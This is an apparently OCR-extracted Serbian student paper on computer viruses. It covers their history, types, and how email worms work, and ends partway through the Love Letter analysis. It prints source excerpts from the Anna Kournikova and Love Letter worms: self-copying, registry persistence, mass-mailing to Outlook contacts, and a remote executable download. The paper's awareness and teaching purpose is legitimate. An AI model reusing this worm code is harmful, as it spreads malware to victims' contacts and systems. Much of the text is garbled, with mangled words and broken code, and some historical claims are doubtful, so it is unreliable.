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1. METODOLOGIJA NAU CNOG ISTRAZIVANJA

1.1 UVODNE NAPOMENE | OBRAZLOZENJE RADA:

U savremenom svetu, milijarde ljudi ima pristupelmtetu. Internet nije bio dostupan svima, ali
od 2001 godine je doslo do velikog porasta korianld XXI veku upotreba Interneta je postala
neizbezna, jer korisnici mogu da obave svoj popldaju ra&une i komuniciraju sa poznanicima
i prijateljima. Mogui prekidi u ovoj usluzi mogu paralisati svakodneviivot i ljudska
populacija dobija utisak da je svet stao. Dostuphmernetu nam olakSava zivot, jer zadatke koje
dobijamo reSavamo veoma brzo, za razliku od stajangugim redovima. Uzmimo za primer
online naloge. Tople sobe se priKijono na Internet, izaberemo web adresu i &iano Zeljeni
proizvod. Nakon nekoliko dana n&ana roba nam stize na prethodno datu adresu. Roéikae
godina je ovakav rien kupovine bio gotovo nezamisliv. Moralo se putibveekoliko kilometara,
stajati u redovima, naéti proizvod i zatim se vratiti po njega u nekondatom terminu. Dakle,
slobodno mozemo zakfiti, da nam Internet od samog procvata kroz faglevitak pruza
ugodniji i jednostavniji Zivot.

Pored brojnih prednosti, korisnici se mogu &tio sa negativnim stranama koé&nja virtuelnog
sveta. Internet je jedna velika mrezawaara, gde se susemo sa velikim opasnostima, koje
korisnici ¢esto ne mogu da te. 80% korisnika svojedne podatke odlaze u&anare i ni ne
slute koliko su ti podaci izlozeni zloupotrebi. Nigjladi koriste neznanje korisnika i sa lakon
dolaze do tih podataka. Mnogo hakera isk@av& neznanje i neupenost korisnika, te stvaraju
razlicite male programe ponio kojih sa lakéom mogu da ddu do njihovih IEnih podataka, kao
na pr. brojeva rauna u bankama, Sifre, .... Ove male, ali Stetnegname nazivamo virusima.
Svrha toga jeste, da se uz pa@nmakozvanih virus programa pokupeénii podaci. Glavni zadatak
ovih parazita je da prikupljene podatke poSalju gpamerima ili da spte normalno
funkcionisanje réunara. Gotovo svaki korisnik se susreo sa nekotocgtem.

U prvom delu rada objasnjavamo metodologiju istradja natinog rada, predmet istrazivanja,
cilieve i zadatke, hipotezu istrazitkaog rada, metode, tehnike i tok istrazivanja.

U drugom delu prikazujemo, Sta je virus i navodimjegovu definiciju. Prikazemo kratak
istorijat virusa, da imamo uvid kako su se razs#ivremeni virusi. U istom poglavljéemo

navesti podelu i tipove virusa.




U trecem delu objaSnjavamo kako funkcioniSu emajl virBmau algoritmacemo ilustrovati
tok posledica koje se javljaju nakon infekcije¢®8prikazane i komande na koje virus reaguje i
napada.

U ¢etvrtom delucemo prikazati kako se virusi Sire, u kojoj godmilgila najintenzivnija infekcija
kompjuterskim virusima, odnosno u 2012. toj godioji tipovi virusa su napadali. Uradili smo
jedno istrazivanja u osnovnoj Skoli, koje je imabocilj da dobijemo jasnu sliku o tome koliku su
deca uzrasta od 10 do 14 godina svesni o opasrodtoje se skrivaju tokom kotiénja

Interneta.

1.2 PREDMET ISTRAZIVANJA

Predmet ovog rada je da se predstaveinarski virusi, tipovi ré&unarskih virusa kao i da se
predstave njihova kratka istorija i zaStita od sauSmatramo, da je veoma vazan algoritamski
prikaz funkcionisanja virusa, kao i prikaz kodot@,jest ndina ulaska virusu. Prikazamo na
koji n&tin su se razvile virusne infekcije i u kojoj godgu pokazale naje tendenciju porasta.
Takade smatramo da je vazno uraditi jedno istrazivangeugu dece, jer su i oni postali aktivni
korisnici Interneta i u kolikoj meri su svesni opasti sa kojima mogu da se susretnu dok

pretrazuju u virtuelnom svetu.

1.3 CILJEVI | ZADACI ISTRAZIVANJA

Glavni cilj ovog rada, jeste da prikazemo, kakve opasnogé kmternet, da podignemo svest
korisnicima na Sta treba da obrate paznju i na kejin mogu da zaStite dne podatke i
funkcionalnost sopstvenogdnara.

Posebni ciljevi

Prikazati rad ré&unarskog virusa i dokazati da nije svaki virus gas da infekciji svaki
racunar. Ovo smodinili analiziranjem virusnih kodova, i prikazom nfivog algoritma.

Istraziva&ki rad melu decom starosti 11-15 godina, koji je za cilj inteosaznamo da li znaju Sta
su ra&unarski virusi, da li znaju da ge ukoliko im je r&unar zarazen,odnosno da li znaju kako

mogu da se zastite.

Cilj ovog istrazivanja je pronalazenje odgovorgpitanja:
* Na koji n&in se mozemo zastititi?

» Dalisudecasvesna o opasnostima koje se kipm korigenja Interneta?




» Kao i¢injenice da svaki virus moze inficirati svaktumar!
» Da se pokazuju povane tendencije virusnih infekcija?
DrusStveni cilj ovog rada je, da nakon detaljne analize korisrabd@ino koriste Internet, jer

¢emo navesti koje su to opasnosti na koje trebatitipaznju da bi zastitili réunar.

1.4 HIPOTECKI OKVIR ISTRAZIVA CKOG RADA

GENERALNA HIPOTEZA : Korisniku r&unara koji pristupa Internetu stoji na raspolaganju
nekoliko n&ina poma@u kojih moze da zastiti svojeche podatke, odnosno da zastiti svoj
racunar. Jedan od najrasprostranjenijitina je upotreba antivirusnih programa. Postavljanje
antivirusa programa smanjuje se rizik upadacumarski sistem, a povava se nivo bezbednosti

POSEBNA HIPOTEZA: Postoji viSe néna poma@u kojih korisnici mogu zastiti svoj éanar
od Stetnih programa:

- Najjednostavniji n&n je odabir kvalitetnog antivirusnog programa.
- Odrzavanje antivirusnog programa (Azuriranje)

- Takade i | mejlovi su jedan od predvodeizrocnika infekcija, pa samim tim treba obratiti
paznju prilikom otvaranja poruka.

- Infekcija nije mogda samo preko Interneta, nego i preko eksternibiajme pa samim tim
potrebno je obratiti paznju i na njih. (CD, DVD, B

POJEDINACNE HIPOTEZE: Jedan od glavnih cilieva danarskih virusa je da da do
podataka korisnika, odnosno da onemi@gbesprekoran raddanara. Od Stetina se mozemo
Stititi antivirusnim programima, ali oni nam nikatkée obezbediti 100 % zaStitu, poSto se
konstantno pojavljuju novi virusi, protiv kojih jo8ije uspostavljena zastita. Azuriranje baze
podatakacak i u danasSnje vreme moZe da potraje od 2-3 dakaoth dospe do krajnjeg

korisnika, i do tad je korisnik neza&n protiv tog virusa.

1.5 METODI | TOK ISTRAZIVA CKOG PROCESA

Sa sigurno& mozemo da tvrdimo, d& i u budénosti biti prisutni virusi, ali v& smatramo da
¢e velina Stete ovisiti od znanja samih korisnika. Virgaimi od sebe nikada de napadati,
potrebno je da bude prisutna komanda, na kKejua reaguje. Komandu dobija od korisnika,
prilikom preuzimanja datoteke ili otvaranjem dokuntae Ali ako korisnici poseduju opSte znanje

i informaciju o funkcionalnosti virusa , u bughostice se smanijiti broj virusnih infekcija.




Danas u svetu deadne veinske korisnike Interneta, prema istrazivanju EW4<Online 93%
dece starosti 9-16 god smatra se aktivnim korignikaterneta. Smatrali smo bitnim da izvrSimo
istrazivanje u osnovnoj Skoli MoSe Pijadeds&ima starosti 11-14 godina. Cilj je bio da saznamo
koliko su deca upoznata sa pojmom kompjuterskilusar Da li su sposobni da prepoznaju

infekciju, odnosno, koji su programi koje poznaflaili ih upotrebljavaju radi zasStite od virusa.




2. KOMPJUTERSKI VIRUSI

2.1. UvOD

Mozemo réi da je u danasnje vreme Internet postao deo nasi@dnevnice. Vise milijardi
dom&instava svakodnevno koristi Internet paimdkojeg mnostvo stvari mozemo resiti na vrlo
jednostavan r@an. Uzmimo kao primer onlajn uplate, u danasSnjemg@enema potreba stajati i
cekati u redovima da bi regulisali nasé€uae. Od kde komforno mozemo realizovati uplate u
bilo koje doba dana. Pored navedenog Internet nawmdenposluziti i kao odian izvor

informisanja.

Pored pozitivnih osobina Internet skriva i mnoStyeasnosti koje nas vrebaju. Vise od 70%
korisnika svoje bitne podatk&iva na kompjuteru ne shvatéjikolikoj opasnosti su izlozeni.
Mnogo hakera iskoré&ava neznanje i neupenost korisnika, te stvaraju razte male programe
pomciu kojih sa lakéom mogu da ddu do njihovih IEnih podataka, kao na pr. brojev&uaa u
bankama, Sifre, .... Ove male, ali Stetne progrageEvamo virusima. Povanjem korisnika
Interneta srazmerno se péaga i broj virusa. U danasnje vreme nije potrebadayek poseduje
previSe opsSirno znanje iz ove oblasti poSto posgm®vi programi koji nam kreiraju viruse.
Postavlja se pitanje Sta je to Sto motiviSe ljudestvaraju viruse? U potrazi za odgovorom na
pomenuto pitanje, nasli smo mnoStvo vebstranica kawinskih¢lanaka, ali stvarni odgovor ne.
Smatramo da se pravi odgovor na ovo pitanje moZe tnaamoj biti ljudskog razmisljanja.
Razloge pojavljivanja virusa bi kategéki podelila. Jedna od najrasprostranjenijin su siikoji

su stvoreni radi materijalne dobiti, poSto poste§ie virusa koji nikakvu Stetu ngne samom
kompjuteru vé jedino sluze da bi dostavljali podatke kreatorous@a, u nadi da se e
primljenim podacima nalaze brojevi bankovniliuaa i njihove Sifre. U drugu kategoriju bismo
svrstali hakere kojima nije materijalna dobit bitna samodokazivanje da su sposobnéina
greskecak i u operativnim sistemima, kao na pr. u samonmddivs-u, i iskori&avanjem tih
greSaka na viSe sati onemdégunormalan rad tanara. U proslosti, kao i u sadasnjosti postoji
mnosStvo primera kada su uspeli blokirati uslugadgre, pa&ak i kontinente. U tr& kategoriju,

ali verovatno u najefikasniju bi ubrojali smo saffivene koje kreiraju antivirusne programe.

Zasto? Ako bolje razmislimo, korisniku je samo mtslutaju potreban antivirusni program, ako




postoji realna modunosti dace se on i infekcijiti, zn& ako ne postoje virusi, u tom skju nema

ni potraznje za programom Kkoji bi nas zastitio gitl.rAko dalje razmislimo verovatno je da

naj efikasniju zastitu od virusa stvoriti oni kppznaju i kod samog virusa, tako da smatramo da
je ovo jedno beskowkao vrlo. Virusace uvek biti, poSt@e uvek hteti za utrze svoje softvere. Iz
istog razloga smatramo vaznim ovaj rad, ovo je lgrohtika koja je uvek aktuelna i to se u

bliskoj budiénosti née menjati

U ovom radu predstavljamo kompjuterske viruse. &@emo njihovo stvaranje, odnosno vrste.
Kao i kod bioloskih virusa, tako i kompjuterskilrwsa ima vise vrsta. Smatramo da je vrlo bitno
da predstavimo i funkcionisanje samih virusa, i lg@avnu tematiku ovog rada izabrali smo
viruse koji se Sire elektronskom postom, jer svalewho dobijamo poruke i ¢ma "infekcija"
potice bas na ovaj ®&. Svako je vé dobio bar jednu netrazenu poruku od nepoznatog
posSiljaoca, i dinio tu greSku da otvori ove poruke koje &sto zarazene. |z tog razloga smo
smatramo da je vrlo bitno da prikazemaingunkcionisanja ovog tipa virusa, i Sta je tosta
treba da obrati paznju korisnik. U danasnje vremkkivprocenat korisnika Interneta su deca.
Smatramo da jéak i odraslim osobama joS Sirok pojam virtuelnits@eza decu sadrzi mnostvo
skrivenih stvari na koje joS nisu pripremljena. Nsnovu jednog istrazivanje e dacima
uzrasta od petog do osmog razreda osnovne Skoje,sko izvrsili, moze se dobiti prava slika o
tome koliko deca svesno koriste Internet, da liupoznata sa pojmom kompjuterskih virusa,
kakve im probleme mogu stvoriti, da li su sposoldiaa prepoznaju kada im se kompjuter

infekciji, kao i da li poznaju r@ne kojima se mogu od njih zastititi.

Rad je namenjen svakom korisniku Internetianjem ovog rada korisnigie dobiti dovoljno
informacija, i bile u mogénosti da preduhrite barem delu infekcija virusifea,se ni jedan virus
nete aktivirati bez komande korisnika. U drugom delw@ rada¢emo se baviti antivirusima.
Pored upoznavanja virusa smatramo da je vrlo bitpeznavanje same zastite kompjutera.
Prikaz&emo razltite vrste antivirusa, softvere, koji su svakom dpsi, i ocenéemo ih prema

kriterijumima koje smatramo merodavnima.
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2.2. STA SU KOMPJUTERSKI VIRUSI?

U ovom poglavlju je prikazan pojam kompjuterskogusa, istorijski razvoj i vrste kompjuterskih
virusa.

» Kompjuterski virus je u stvari program koji moaeficirati druge programe tako Siee ih
modifikovati, i na taj n&in stvoriti svoju vlastitu kopiju*(Arnant R., 2002)

» Kompjuterski virus je program koji ima moguost razmnoZzavanja, i sadrzi kod pamdoje
se stvara kopija i tako moze inficiratii druge pame modifikujéi njih ili njihovu okolinu, na
taj nain da pozivani inficirani program zapravo épie na izvrSavanje moge kopije viruse.?
(Relja D., 2001)

Ratunarski virusi su u velikoj meri ghi kao i bioloSki virusi.

Struktura virusa:

Kompjuterski virusi se uglavnom sastoje iz dva dela

» Samokodirajui deo— omogéava razmnozavanje

» Teret— koji moze biti bezopasan ili opasan.

Neki virusi se sastoje samo od samokopiregukoda, dela i nemaju nikakav korisni teret.
Ime virusa:

TeSko je zamisliti koliko je davanje imena virudazeni proces. Ime se sastojidetiri
dela, svi delovi se sastoje od najviSe dvadesetkkara. Delovi su odvojeni jedni od drugih sa
tackama.
prezime.imegrupe.glavivarijanta.varijanta:menja
U imenima se mogu Kkoristiti sleélekarakteri: A-Z, a-z, 0-9, _,$, %, -. &, #, @f@mu se ne pravi

razlika izmetu malih i velikih slova.

Neke virusne karakteristike i tehnike:
* ENKRIPCIJA
Enkripcija ili Sifriranje je postupak kojim se omglna informacija menja u cilju prikrivanja

njenog pravog sadrzaja. U postupku Sifrovanja giostbrnuti postupak, dekripcija, kojim se

! Arnant R. (2002) Kompjuterski virusi, Pedagoski fakultet u Zenici
2Relja D. (2001) Pirati na mrezi, Novi Sad
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ponovo dobijaju informacije u izvornom sastavu. iPiazlog upotrebe Sifrovanja je pokusaj
otezavanja pronalazenja virusa.

 POLIMORFIZAM
Korak dalje u igri skrivéa je polimorfizam. Polimorfizam predstavlja pre&bhlanje izvrSnog
koda na takav man da se oduva funkcija, ali istovremeno bitno promeni njeggled.
Enkripcija kombinovana sa polimorfizmom predstaydan od najopasnijih trendova u razvoju
virusa.

+ SAMOSAKRIVANJE (Stealth)
Samosakrivanje je joS jedna kompleksna tehnika kojiste vesti pisci kompjuterskih virusa.
Osnove tehnike samosakrivanja je pokuSaj prevarisrkka, sistema ili antivirusnog programa,

na takav néin da se stvori utisak da se sa sistemom nediog&ta neolkdno.

2.3. KRATKA ISTORIJA KOMPJUTERSKIH VIRUSA

Kompjuterski virusi su se pojavili 1981 godine. Phkempjuterski virus bio je Elk Cloner. Virus
Elk Cloner je kreirao Rich Skrenta. Virus je infmd operativni sistem Apple Il ¢anara i
povremeno ispisao poruku:

Lt will get on all your disks. It will inficirateyour chips. Yes its Cloner.*
Osim toga ovaj virus bio je u stanju da se iskopadlopi diskete.
1986- kreiran je prvi virus za PC, po imeB&RAIN. Brain je bio boot-sektor virus, i napisan je
u Pakistanu.
1987 — LEHIGH virus je bio prvi virus koji je inficirao rezidemt deo memorije tako da je
napadao i menjao svaki izvrsni fajl, koji je biokpenut.
1988— u martu je kreiran prvi anti-virusni program.tBl¢ovao je i popravljao Stetu kojudaio
BRAIN virus. CASCADE virus je takde tada napravljen, a zfggan je po tome Sto je bio
kodiran.
1989— AIDS Trojan bio je prvi trojanski kon;.
1990 - pojavljuju se virusi koji imaju napredne karalggke, kao naprimer da u zavisnosti od
okoline u kojoj se koristi menja sopstveni progranked.
1991 — TEQUILA je kombinovao sve tri napredne osobine - polimarfroklopljen i

multipartitan.
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1992 — Michelangelge bio virus koji je napao velik broj Pc-a.
1993- Pojavljuje s&€RUNCHERVvirus. Bio je prvi virus koji je na neki tia bio shvden kao
dobar. Isti je inficirao izvrSne fajlove kompresovia i na taj n&in Stedeo korisnicima prostor na
disketi.
1995 — pri kraju godine su se pojavili Word makro viropr: CONCEPT koji je postao
najrasireniji Word makro virus
1996-BOZA, Laroux, Staog

* Bozaje prvi virus koji se pojavio za Windows 95.

» Laroux je prvi makro virus, koji je inficirao Excel fajl@v

» Staogje prvi virus koji se pojavio za Linux.

1998 — Strange Brew, Back Orifice
e Strange Brewprvi Java virus.
» Back Orifice prvi trojanski konj, koji omogéava daljinsko upravljanje ¢anara.
1999-Corner je bio prvi virus, koji je inficirao MS Project tzeke.
2000- Ddos, Liberty
* Ddos (Denial-of-Service) je bio prvi virus koji je onemogio rad Yahoo! |
Amazonas.com.
e Liberty prvitrojanski konj koji je napisan za Palm PDA.
2001 — Gnuman, Windows/Linux Virus, LogoLogic-A Wom, AplS/Simpsons Worm,
* Gnuman je virus koji je izgledao kao .mp3 datoteka.
e Windows/Linux Virus prvi virus koji je inficirao i Windows i Linux opativni
sistem.
* AplS/Simpsons Wormje bio prvi appleScript crv.
» PeachzPDF-Aje bio prvi virus koji je inficirao PDF datoteke.
2002 — LFM-926, Donut,Perrun
* LFM-926 je prvi virus koji je infekcijio Shockwave Flastsyf) datoteke.
* Donut je inficirao .NET usluge
e Perrun je inficirao JPEG datoteke.
2003 —-Sobig, Lovgate,
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Sobig se Sirio putem e-mail od big@boss.ca@rv je imao mogénost da se Siri i u

mreZzi. Svi korisnici koji su bili umrezeni, bili arazeni.

Lovgate je istovremeno funkcionisao i kao crv i kao trgkinkonj. Lovegate je stizao
kao e-mail. Ovaj virus otvara TCP port 10168 prdédjeg je mogao da pristupa

korisnikovom r&unaru dok je on na Internetu.

2004 — Bagle, Sasser

Bagle je stizao kao e-mail. Crv je pretrazitictear i iz dodatke sa slefim
ekstenzijama .txt, .htm, .eml, .ods, .php, .cgi.
Sasserje virus koji se nije Sirio emajlom ¥ge koristio rupu u Microsoft Windows

operativnom sistemu. Crv se kopirao u Windows fold®mavserve.exe.

2005 — godine nove verzije starih virusa dominiraju

Low.Gate.w, u 2005. godini zarazenost ovim virusom je izredl9 % infekcija.
Infekcija virusom se vrSila preko elektronske poste
Mytub je bio poznat po tome Sto se u kasnijim godinamgwvljivao z razléitim

oblicima.

2006 — WebMicje ukljuwtivao webkamere i mikrofonlNedro.B je nakon infekcije menjao ikone.

2007—-Trojan.DL.Opnis.UT se Sirio putem e-mail poruka.

2.4. VRSTE KOMPJUTERSKIH VIRUSA

U ovom zaglavljuée biti prikazana podela virusa. Podékse vrSiti na osnovu tipova virusa,

platforma na kojima deluju, prema mestu, koje zaaai u memoriji, odnosno na osnovu osobu

osnovne podele. Za svaku podéluprikazati po jedan primer.

2.4.1 PODELA VIRUSA PREMA NACINU FUNKICIONISANJA
Viruse mozemo podeliti u nekoliko kategorija:

+ Boot sektor i Master Boot Record virusi

Ovi virusi se kopiraju u boot sektore disketaniaster boot recordvrdog diska. Vé&nom su

pisani u asembleru. Boot sektor virusi su mrain. Kada korisnik otvori disketu, boot sga

prvi. Inficiran boot sektor automatski stavlja \8ru ram memoriju. Svako slede pisanje ili
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¢itanje disketa inficira diskete. Sve Sto treba itrgel biti siguran da disketa nije inficirana. Ako
virus ne moze da se upise, disketéenliti inficirana.
Boot sektor virusi su bili zastupljeni u 68% &jeva, koji su bili nekontrolisani. Neki od boot
sektor virusa su Brain, Empire, Michelangelo, itd.

* Emajl virusi

Ovi virusi obino stizu u prilogudttachmentemajl poruke.

* Makro virusi
Makro virusi su mini programi napisani na nekonmembm programskom jeziku (Visual basic
skript, Java skript) nekog aplikativnog programa Eto je to WORD, EXCEL, itd. Virus inficira
makro ili templatei nage&e se Siri elektronskom postom.

* Mrezni virusi
Ovi virusi su sposobni da koriste sve vrste mrejmdtokola da bi izvrsili svoj zadatak, tj. mogu
da se kopiraju sa servera na neki udaljedumar i obrnuto, ili da secuitavaju po potrebi sa
nekog r&unara na neki udaljeni danar putem mreze. Najpoznatiji ovakvi virusi su: ri®

virus, Christmas Tree, Wank Worm.

o Skript virusi
COREL SKRIPT virusi ne zn&e ozbiljnu opasnost. NpCS.Galadriel, kad korisnik otvori
inficiranih script, virus infekciji rdunar i time postize da 6. Juna virus pokazujeeslegoruku:
» Ail Laurie lantar lassi surinen!.
Zeni unotime ve ramar aldaram.
Zeni ve linte yuldar vanier
Mi oromardi lisse-miruvoreva
Andune pella Vadro tellumar
Nu luini yassen tintilar i eleni

Omarzo atretari-lirinen.”
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» Java skript virus

JS.Congratsse Siri preko emajl-a. Podrazumeva jedan prilokghi Original.jpg. Kad korisnik
otvara sliku, virus infekciji sve slike na hardldis Nakon toga virus se Salje putem e-poste, gde
je predmet pismo sa natpiso@gngrats

.l @am not sorry, but you have befooled.

Some files in your system have been deleted.

Believe it or not... you have infacted your comgute

Visual skript virus

VBS.Freelove.A je Visual Basic Script program koji stize kao eim&ubjectje naprimer:
Important Notice From <korisidko_ime_od_koga_je_stigao_e-mail

Telo porukeHeya, check out the attachment attached to thislesag

Asttachment: FREELOVE.VBS

Kada su pristigli fajl startuje, crv kreira dva l&gj C\ WINDOWS \ FREELOVE.VB%
C\\FREELOVE.VBSCrv promeni i nekoliko kljteva u Registry bazi. Crv pristupa Address

Booku i posalje se na sve emajl adrese iz njega.

2.4.2 PODELA PREMA PLATFORMAMA

« DOS
« WINDOWS
e LINUX

2.4.3 PODELA VIRUSA PO MESTU U MEMORIJI:
* Virusi koji su u rezidentnoj memoriji, oni ostajunbemoriji r&unara nakon aktiviranja koda
virusa.

* Virusi koji nisu u rezidentnoj memoriji
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2.5. FUNKCIONISANJE RACUNARSKIH VIRUSA

Od brojnih r&unarskih virusa mi¢emo primerima predstaviti funkcionisanje emajl sau
Razlog za odabir virusa ovog tipa je zato $to emwejlprimamo iz dana u dafiesto dobijamo
elektronsku poStu od nepoznatih osoba, naivni kaiish otvaraju i preuzimaju priloge, Sto i

jeste jedan od najrasprostranjenijiltina infekcije.

U ovom poglavljuéemo opisati funkcionisanje emajl virusa, &mn zelimo da prikazem
korisnicima na Sta treba da obrate paznju priliketvaranja elektronske poste kako bi izbegli

zajazivanje nekim od virusa koji se Sire na pomiematin.

U prvom korakucemo kratko da predstavim sam virus, d@mo u drugom koraku porfwo
algoritma da predstavimo kako navedeni virusi fuokiSu, a u tréem korakuéemo prikazati
deo izvornog koda koji aktivira virus.
Prilikom izlaganjaéemo analizirati sleda tri virusa:

* Anna Kournikova

* Love Letter

* Homepage
Gore navedeni virusi su obarali sisteme i@m2000. i 2004. godine. Odabrali smo ih jer njihovi
izvorni kodovi nisu javni, i posto izvorne kodoverusa novijih generacija nismo bili u

moguenosti da ndemo.
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2.5.1 ANNA KOURNIKOVA VIRUS

Anna Kournikova ili VBS/Onthelfy virus je po tipuemajl virus, kojeg je stvorio Jan de Wit
Visual Basic programskim jezikom. Infekcija ovinrugom je zapeela u februaru 2001. godine.
Stizao je u elektronskoj posti. Sadrzaj emajl-dig sledéi: ,,HI' Chack This!” Na prilozenoj
slici se jasno vidi kako je izgledao emajl. Uz pog bio priloZzen i dokument sa nazivom
~AnnaKournikova.jpg.vbs” (slika 1). Korisnici su rsnovu naziva pomislili da im je stigla slika
0, u tadasnje vreme, poznatoj teniskoj zvezdidiien, nije se to dogodilo.

™ Here pou have, o) - Message [Rich Text] [Mi=1E3

Eile Edit View Insert Format Tools Actions Table
Help

| Boncply | Bancel toall | o@zorwad | & Fz w2

F-am: Johr Lo Serk: Sur 2011001 516 PM
Ta: Johr Doe

L

Sabject: Here wou have, ;c)

Hi: =
Check This! 3

Annakourikova jpg.w
a3

LA N

Slika 1. Anna Kournikova virus

Jedan iskusniji Internet korisnik bi u momentu figie poSte odmah shvatio da se radi o prilogu
koji ja zarazen virusom. Kako? Obratite paznjuzaraz ,jpg.vbs”. Ako, je korisnik barem malo
upoznat sa izrazima, svestan je dale@p iza naziva slike stoji izraz .jpg, iza naziva ikaz
.mp3 itd. Dakle, odmah bi shvatili da se ne radilioi. Zbog toga su mnogi preuzeli zarazeni
prilog i pokrenuli ga. U emajl programu je virust@matski poslao samog sebe svitig su
adrese bile u adresaru. Zahvalgijaposobnosti virusa da generiSe ogroman broj epmajhka,

on se veoma brzo proSirio i tako doveo do blokadeogih emajl servera. Virus Anna
Kournikova je jedan od najbrze Sife virusa. Pored toga, virus je 26. januara svasdirg
otvarao sledai Internet adreswww.dynabyte.nl
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Algoritma funkcionisanjeAnna Kournikovavirusa i néina infekcije prikazan je na slici 2. Jako
je bitnacinjenica da se tanarski virus aktivira iskljéivo onda ako korisnik preuzme i otvori

zarazeni prilog.

START doMain Func
KREIRA SE
WWECRIPT SHELL”
DOBIEKAT AT LI
" CTLOOK —
PROGRAM M { :

SADRZI L POVRATAK
EMAIL

UPISUJE 5E U Registry™

v

DRESE

Y

LIPISLLIE SEBE U i
WINDOWS - ——
DIREKTORIIUME SALIE SAMOG SEBE NA

SVE ZABELEZENE

K EMAIL ADRESE

Proverava

datum 7 ’
= ¥
AR TE 26,01, ONDA AUTOMATSKI
OTVARA INTERNET ADRESL
ZAVSAVA SE s idymsbite sl
WIBLSMNA
INFEKCITA

—

Slika 2. Algoritam rada Anna Kournikova virusa
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Funkcionisanja virusa moZze se prikazati i péom&omandi. Treba potvrditi da se virus aktivira

isklju¢ivo ako se preuzme i pokrene od strane korisnika..

Virus se kopira u registry i tako omogwava sebi kontinuirani rad:

Set WScriptShell = CreateObject{"WScript.Shell™)
WheriptShell regwrite "HE CU'software'OnTheFly'\", "Worm made with Vbswg 1.30b"

Virus se kopira u Windows direktorijum:

Set FileSvstemObject = Createobject("scripting.filesystemobject™)
FileSwstemObject.copviile wscript.scriptfullname FileSvstemObject GetSpecial Folder(0) &
"AnnaKoumikova jpg.vbs™

VrSi proveru da li je instaliran Microsoft Outlook:

if WScriptShell regread ("HECU'software'OnTheFlv'mailed™) == "1" then
doMail()
end if

Ako je Microsoft Outlook instaliran, i ako se u njemu nalaze emajl adrese, on poSsalje

samog sebe na sve dane adrese u klijentu.

If address.AddressEntries.Count <= 0 Then

entryCount = address. AddressEntries.Count

Fori=1 To entryCount

Set newltem = OutlookApp.Createltem(0)

Set currentAddress = address. AddressEntries(i)

newltem.To = currentAddress. Address

newltem.Subject = "Here you have, ;0)"

newltem.Body="Hi:" & vberlf & "Check This!" & vberlf & ""

set attachments = newltem.Attachments

attachments. Add FileSystemObject. GetSpeciallFolder(0) & "\AnnaKournikova.jpg.vbs"

U svakom sli&aju virus kontroliSe aktualni datum, i ako je datum 26. Januar on u tom

sluéaju otvara sledetu veb adresu, www.dynabzte.nl

if month(now) =1 and dawv{now)= 26 then
WScriptShell run "Http://www_dvnabvtenl" 3 false
end if

Virus prestaje sa radom.
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2.5.2. LOVE LETTER

Love Letter virus je 03. Maja 2000. godine, u 9 pa¢ podne prvi put Wwen u Honkong-u, do
popodnevniitasova je iz 20 zemalja stigla informacija o inf@gkd?rema procenama se moglo
ustanoviti da se viSe od 10 hiljada korisnika ifglo, Love Letter virus je nadmasio i Melissa
virus, u brzini Sirenja i u Stetama koju jecmao. Love Letter je poznat i pod imenom The Love
Bug, za njegovo ime se vezuje Steta od 10 do 1§andil dolara.

Love Letter virus je pisan po VBSSricpt jeziku. tBtg ¢inio korisnicima koji su posedovali na
svom r&unaru Windows 98 ili Windows 2000, ali i korisni@nkoji su posedovali verziju
Internet Explorer 5 su talde bili izlozeni velikim opasnostima. Virus je stma elektronskoj
posti, u prilogu pod nazivom LOVE-LETTER-FOR-YOU.TXbs (slika 3).

Ukoliko je korisnik otvorio svoju |ElEnIE s e 19 [x]

e|ektr0nSku pOétU | pr|hvat|0 pOdatI _|_Ei|e Edit Migw Insert. Format Tools Actions Help

U priogu, virus e zahvaluj | /205 SehiA i@ i t]w]E) 2
. ' From: Tory. Austin [Eon}f@tonyaustin.com] Sent: Thu 0470500 10:44 PM

MlcrOSOft OUtIOOK programl Tao: webmaster@tonyaustin.com

(ukoliko je bio instaliran), proslc ;:hiect: e

sebe svima koji su bili u adresaru. |finaiy check che attaches LOVELETTER coming frem me. o]
Predmet poruke: | LOVE YOU.
Naime, poruka je glasila: ,kindh
check the attached LOVELETTE

coming from me.

U prevodu, préitaj ljubavnu poruku & Ei
koja je u prilogu. LOVE-LET...

Slika predstavlja kako je zais a b
izgledala elektronska posta. Slika 3. Love Letter

Virus je, pored toga Sto je umeo samog sebe ddjpogeepisao je i postoje dokumente koje su

u formatu: .jpg, .mp3 i .mp2, dakle slike i muzikajihov sadrzaj se mogao pregledati samo u
slutaju da je postojala sigurnosna kopija istih. Zgerpretrazivao r@unar za lozinkama, koje je
poslao osobi koja je programirala navedeni virumgRamer Love Letter Virusa je prafen,
posto sa na Filipinskim ostrvima ne kaznjava pisatmjusnih programa, on je i dalje na slobodi.
Navedeni virus se kasnije pojavljivao godinamakepoznate forme su:

Loveletter.D koji je inficirao 06.11.2007. godindi Loveletter.Columbia, koji je inficirao
09.11.2007. godine .
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Algoritma funkcionisanje i nan infekcije virusa prikazan je na slici 4. Jakdojgnacinjenica da

se r&unarski virus aktivira iskljtivo onda ako korisnik preuzme i otvori zarazeniqyi

| START :I A

Obrazuje Windows Shell i Stvara i prepisuje win-
File System objekte Bugfix.exe
¥ ¥
Procita vrednosti , registy Brite sva podeiavanja
time out” pofetne strane

i, .

R e

/\ &) N
Obrazuje | backdoor”, | pomodu

alije ”tllrne?out niega alje sve lozinke, koje je

PRELCE I pronasao

Proverava, da li postoji
outlook

Resetuje ,time out”

¥

L windows direktorijume upisuje
Mskelner32.vbe, i Win32.dll fajlove,
odnosno i love-letter-for-you.txt.vbs fajl

Da li poseduje
emajl adrese

Y

¥

Dalij e :

i y Salje svim emajl

i adresama virus

Fat32? =
¥
e o : Prepisuje sve postojece

Po principu slucajnosti dokumente, koje su u formi: jpg.

podeiava pofetnu stranu .ipeg, .mp3, .mp2

4 STOP

Dali je postaji
BugFix.exe?

Slika 4. Algoritam rada Love Letter virusa
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Prikaz funkcionisanja virusa poro komandi,kada se aktivira iskfiwo preuzimanjem i

pokretanjem od strane korisnika.

Upisuje Mskelnes32, i Win32.dll fajlove:

regereate
"HKEY LOCAL MACHINE!\Software'Microsoft\Windows\CurrentVersion'Run\MSKemel32" dirsyste

mé&"MSKemel32.vbs"

regereate
"HKEY LOCAL MACHINE!\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",d

irwin&"\Win32DLL.vbs"
Dali je sistem Fat32

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rod) + 1)

if num =1 then

regereate "HKCU\Software'Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young 1s/HIKhjnwerhjkxcvytwertnMTF wetrdsfmhPnjw6 587345 gvsdf76
79njbvYT/WIN-BUGSFIX exe"

